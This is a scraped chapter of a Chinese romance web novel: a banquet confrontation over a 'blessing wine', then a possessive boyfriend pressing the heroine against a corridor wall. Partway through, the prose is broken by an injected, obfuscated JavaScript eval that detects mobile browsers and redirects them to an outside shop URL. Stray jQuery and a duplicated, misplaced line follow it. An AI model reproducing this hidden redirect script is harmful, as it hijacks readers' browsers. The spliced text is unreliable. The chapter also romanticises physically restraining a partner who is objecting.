默认冷灰
24号文字
方正启体

10. 职场炸弹

作者:萝卜爱吃肉本书字数:K更新时间:
    林婉深吸了一口气,既然兰斯都发话了,她也不为难人了。


    当然,只是在通常意义上的“为难”。


    “好,那我们稍微放松一下,正好我这有一瓶好酒,是阿马尔菲。”林婉轻轻拍了拍手,身后的侍者立刻端上来一瓶酒。


    “不过,咱们局里有个老规定,”林婉的目光在沈或浮和迟佳音之间打量,面上笑意盈盈语气却咄咄逼人:


    “对于‘看似’能成的一对,以往都会有人请喝‘祝福酒’,今天父亲不在,我就勉强做个东。”


    不等人拒绝,酒已经推到了沈或浮和迟佳音的面前。


    好歹毒的心思,这不就是想让她和沈或浮强行邦在一起吗?


    迟佳音回想起大学时的往事,她的性格真是一点都没变,还是那么恶毒。


    谁不按她的想法来,就没有活路可以走。


    沈或浮一声不吭,只是把他面前的两杯酒一口气都咽了下去。


    “迟小姐的酒量‘看似’不太行,我自己喝就行。”他把酒杯推到了一边,微微一笑:“林大小姐,你的祝福我收下了,但我对自己的官职很满意,最近不奢求升职加薪。”


    随后,看着身边的迟佳音,唉声叹气道:“当然,对于新人,这祝福太呆了。稳扎稳打才是最好的,她还需要多历练历练。”


    这句话把林婉的‘祝福酒’扭曲成对事业的祝福,真是一个好办法。


    迟佳音看着空了的酒杯出神,林婉是个聪明人。但很遗憾,她的帮手们一声不吭,善于察言观色,左右逢源。


    而自己的两个帮手,一开口就是“王炸”。


    当然,功劳主要在她和沈或浮,兰斯这个在别人腰间上下其手的不算。


    迟佳音指了指沈或浮,又指了指自己,调侃道:“既然这酒是‘有可能成的一对’要喝酒……”


    她转过头,视线越过林婉,意味深长地落在了兰斯身上。


    “局里上下谁不知道,林小姐和兰斯长官才是公认的‘天作之合’,要说这杯祝福酒……”


    迟佳音嘴角勾起一抹挑衅的弧度,直接把皮球踢了回去:“不应该是您和首席去喝吗?”


    全场的目光瞬间集中到了兰斯身上。


    这场戏的焦点终于转变了主角,所有人都好奇,兰斯会怎么回答。


    “好啊,我是可以喝。”


    “兰斯?”林婉的眼睛闪着光,她都没有想到兰斯会这么回答。


    同样吃惊的还有沈或浮,他看着身边的迟佳音默不作声,声音低沉:“老大,我刚刚喝了这酒,它可能不太合你胃口。”


    “沈或浮,你的口味一直都和我相反。”兰斯自说自话,给自己倒了一杯酒。


    一杯,一杯又一杯。


    直到那瓶昂贵的阿马尔菲彻底见了底,他才疑惑地问:“啊,看来我的酒量比较大,还有吗?”


    林婉的心彻底乱了,从云端跌落谷底只需要一瞬间。


    阿马尔菲这种酒,她从哪在搞来第二瓶?去顾氏抢过来一瓶过来?


    “兰斯,你要是喜欢的话,我过几天从市长那再要一瓶。”林婉皮笑肉不笑,继续说道:“下次宴会,我和顾少爷关系还好,他肯定会给我个面子。”


    在座的各位除了迟佳音,都假装喝水不说话,因为都知道从老虎嘴里抢食是不可能的。


    “嗯?那我等下个月的宴会。”兰斯是一点面子都不给林婉,一脸笑意。


    “我也等林小姐的酒”迟佳音在旁边打配合,好像毫不知情:“我一口没尝到,如果有下次,请务必让我尝尝看。”


    看着迟佳音呆萌认真的眼神,沈或浮没忍住,发出了“噗”的一声。


    瞬间,桌子上充满了欢笑声,所有人都开始打圆场。


    “真是个老实的美女,我也等着林小姐下次的酒。”


    “林小姐真是大方,下次宴会我一定来。这最后一瓶阿马尔菲,说什么也得尝尝。”


    大家都开起来玩笑来,看似是缓解气氛,实则林婉却被逼上了绝路,她笑不出来了。


    因为,顾家一定不会白白拿出来最后一瓶酒,哪怕她的父亲是调查局局长。


    下个月,如果有人不张眼,或因为什么意外提起来了这瓶酒。而自己却拿不出来,她林婉不就要成为饭后笑谈了吗?


    坐在兰斯身旁的迟佳音,感受到兰斯紧紧地握住了她的手,并在手心里写了个“强”字。


    直觉告诉她,这个“强”和所有人哈哈大笑有关。


    她有说错什么吗?


    不明所以然的迟佳音,只能握紧兰斯的手,也跟着笑。


    毕竟,跟着大伙一起总没有错。


    “时间不早了,我还有事要处理。”他瞥了一眼如蒙大赦的沈或浮,视线随后轻飘飘地落在迟佳音身上。


    “至于迟小姐。”兰斯淡淡开口,抛下了不容置疑的命令,“有笔采购单数据有问题,需要重新核对。”


    说完,他迈开长腿径直离开,而一旁的沈或浮在兰斯起身的那一刻,就自觉站在了他的右边。


    迟佳音对着面色铁青的林婉鞠了一躬,并留下一句期待下次的宴会,快步追了出去。


    而林婉眼底的恨意已经扭曲成了实质——在她看来,如果不是迟佳音最后的那句话,她根本不会到了现在这般骑虎难下的境地。


    ……


    宴会厅外的长廊。


    沈或浮非常有眼力见地找了个借口,“老大,我们本部出了点问题,你们先忙!”


    然后迅速消失在了走廊尽头,把空间留给了自家老大和嫂子。


    迟佳音内心吐槽“沈或浮这个不地道的人,怎么留下自己跑路了!”


    兰斯终于停下了脚步。他背对着迟佳音,沉默不语。


    “兰斯,我找沈或浮只是以舞伴的身份,来到主桌见见自己的领导。谁知道全是一群无所事事的富二代,没有一个直系的领导。”迟佳音开口解释。


    “林婉,是因为你刁难我的,不能什么事情都算我头上。”她又补充道。


    然而,兰斯缓缓转过身,语气沙哑:“原来……”


    “你费尽心思过来,不是为了看我。”


    迟佳音一噎,忍不住吐槽,兰斯的关注点怎么永远这么歪?


    “也……也有这个缘故吧?”她眼神闪烁,试图狡辩,“毕竟你也在这,我来看看你……”


    “咚”的一声巨响。


    她已经被兰斯重重地抵在了冰凉的墙壁上


    兰斯一只手撑在她耳侧,高大的身躯完全覆盖下来,将她困死在狭小的阴影里。


    “音音,你在撒谎。”


    高大的身影渐渐地向她逼近,“撒谎会让我……非常、非常难过。”


    “而你也知道,当我感到难过的时候……”


    他的手顺着她的腰线缓缓下滑,扣住了她的后腰,将她整个人提起来贴向自己滚烫的小腹:


    “……通常都需要一点特殊的安慰,才能平息我的愤怒。”


    迟佳音伸手抵住他靠得太近的胸膛,努力让自己的声音听起来理直气壮:“你讲讲道理,兰斯。我可什么都没做错,至于撒谎……你才是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060588|195058||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    撒了谎的人,你都没告诉我你和林婉的关系。”


    兰斯歪了歪头,他伸出手,隔着礼服的布料,精准地按在了迟佳音的腰侧——那是刚才沈或浮扶过的位置:“有人碰了你的腰,这儿被污染了。”


    迟佳音被“污染”这个词逗笑了。沈或浮是戴着手套的好吗!而且这就是正常的社交距离!


    “那你呢?”她开始反击:“她还挽着你的手,贴着你的耳朵说话!按照你的逻辑,你也被‘污染’了!只许州官放火,不许百姓点灯?”


    “这不一样。”沈或浮是戴着手套的好吗!而且这就是正常的社交距离!


    兰斯回答得斩钉截铁,甚至连一秒钟的思考都没有。


    “哪里不一样?你是双标吗?”


    兰斯抬起手,蹭了蹭迟佳音气鼓鼓的脸颊,耐心地解释道:


    “再一个星球上有一只蚂蚁爬过它的表面,并在上面停留了一会儿,这对它来说没有任何意义。它不会记住那只蚂蚁。”


    迟佳音愣住了,他在把林婉比作……蚂蚁?


    “但你不一样,佳音。你是我的恋人,是我唯一想要吞噬的人。”


    “我厌恶别人触碰你,哪怕只是闻了一下……那种感觉,就像是有人把你咬了一口的蛋糕上沾了口水,再递给我吃。音音,你会觉得这很‘公平’吗?”


    “……”迟佳音彻底失语了。


    这到底是什么见鬼的比喻?把他自己比作没感情的星球,把她比作被沾了口水的蛋糕?虽然听起来很有道理,但完全是歪理邪说!


    “你……你这是强词夺理!”迟佳音憋了半天,只能憋出这么一句,“我是人,我有独立的人格,我不是谁的蛋糕!”


    “嘘,道理讲完了吗?”


    他虽然在问,但根本没打算等她回答。


    兰斯单手轻易地制住了她试图推拒的双手,将它们举过头顶,按在墙上。这个姿势让迟佳音的胸口完全敞开,毫无防备地暴露在他的视线之下。


    “我只想处理你身上的‘污染’。”


    她心里涌上一股无力感,为什么兰斯的脑回路和别人不一样呢?


    很久之前,就听爸爸说过特别行动组的人脑回路都不正常,神人辈出。到底是她见识短浅,还是兰斯太过奇葩,她无从知晓。


    “兰斯!停!你先看看这是哪里!”


    猛地推开在脖子上啃食的人,她压低声音:“兰斯,这是走廊!虽然现在没人,但万一清洁工大妈路过怎么办?万一有摄像头怎么办?你是首席你不在乎,我还要脸呢!”


    听到“要脸”两个字,兰斯的动作停滞了一下。


    他缓缓抬起头,那双被打断了兴致的眼瞳微微收缩:“我又不是人,不需要脸这种东西。”


    天哪,迟佳音已经彻底被呛得无语到了。


    哪有人说自己不是人的,她男友的脸皮比城墙都厚了。


    兰斯不要脸,她还要这张脸呢!迟佳音立马给自己的男友顺毛。


    她踮起脚尖,双手捧住兰斯的脸,在那还要继续放狠话的嘴上,响亮地、重重地“啾”了一口。


    “啵!”


    “好了好了,别生气了。”趁着兰斯还在处理“亲吻”的空档,迟佳音语气温和地说道:“我不是不让你碰,只是这个场景不合适,我们去办公室。等我处理完工作的事情,你想怎么样就怎么样。”


    只要饼画得好,她知道,兰斯肯定会答应。


    兰斯被乖乖地牵着往前走,许久才反应过来:“上面的嘴被你安抚了,可还有嘴没有被安抚,它也很想你……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)